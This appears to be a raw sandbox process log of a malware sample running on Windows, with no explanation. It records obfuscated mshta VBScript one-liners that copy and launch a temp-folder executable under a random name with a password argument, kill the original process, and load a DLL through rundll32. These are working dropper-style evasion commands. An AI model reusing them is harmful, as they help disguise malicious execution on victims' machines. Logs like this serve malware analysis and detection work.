mshta.exe "C:\Windows\System32\mshta.exe" vBScrIPt: CLoSe (cREATEobjEcT( "WscRIpt.SHEll" ). RUn ( "cMD.exe /q /c CoPY /Y ""C:\Users\test22\AppData\Local\Temp\sfx_123_204.exe"" Y1FUY5TJK7FR.EXE && STarT Y1Fuy5TjK7FR.eXe /pPcO7dQJSv4ebP1WI9YNCeWEF27pAh & If """" =="""" for %R IN ( ""C:\Users\test22\AppData\Local\Temp\sfx_123_204.exe"" ) do taskkill -im ""%~nXR"" /f" , 0 , TRUE))
2072cmd.exe "C:\Windows\System32\cmd.exe" /q /c CoPY /Y "C:\Users\test22\AppData\Local\Temp\sfx_123_204.exe" Y1FUY5TJK7FR.EXE && STarT Y1Fuy5TjK7FR.eXe /pPcO7dQJSv4ebP1WI9YNCeWEF27pAh & If "" =="" for %R IN ( "C:\Users\test22\AppData\Local\Temp\sfx_123_204.exe" ) do taskkill -im "%~nXR" /f
2364mshta.exe "C:\Windows\System32\mshta.exe" vBScrIPt: CLoSe (cREATEobjEcT( "WscRIpt.SHEll" ). RUn ( "cMD.exe /q /c CoPY /Y ""C:\Users\test22\AppData\Local\Temp\Y1FUY5TJK7FR.EXE"" Y1FUY5TJK7FR.EXE && STarT Y1Fuy5TjK7FR.eXe /pPcO7dQJSv4ebP1WI9YNCeWEF27pAh & If ""/pPcO7dQJSv4ebP1WI9YNCeWEF27pAh "" =="""" for %R IN ( ""C:\Users\test22\AppData\Local\Temp\Y1FUY5TJK7FR.EXE"" ) do taskkill -im ""%~nXR"" /f" , 0 , TRUE))
1068cmd.exe "C:\Windows\System32\cmd.exe" /q /c CoPY /Y "C:\Users\test22\AppData\Local\Temp\Y1FUY5TJK7FR.EXE" Y1FUY5TJK7FR.EXE && STarT Y1Fuy5TjK7FR.eXe /pPcO7dQJSv4ebP1WI9YNCeWEF27pAh & If "/pPcO7dQJSv4ebP1WI9YNCeWEF27pAh " =="" for %R IN ( "C:\Users\test22\AppData\Local\Temp\Y1FUY5TJK7FR.EXE" ) do taskkill -im "%~nXR" /f
732rundll32.exe "C:\Windows\System32\rundll32.exe" Z~DYVRL.v,IzgdZv
1788taskkill.exe taskkill -im "sfx_123_204.exe" /f
2976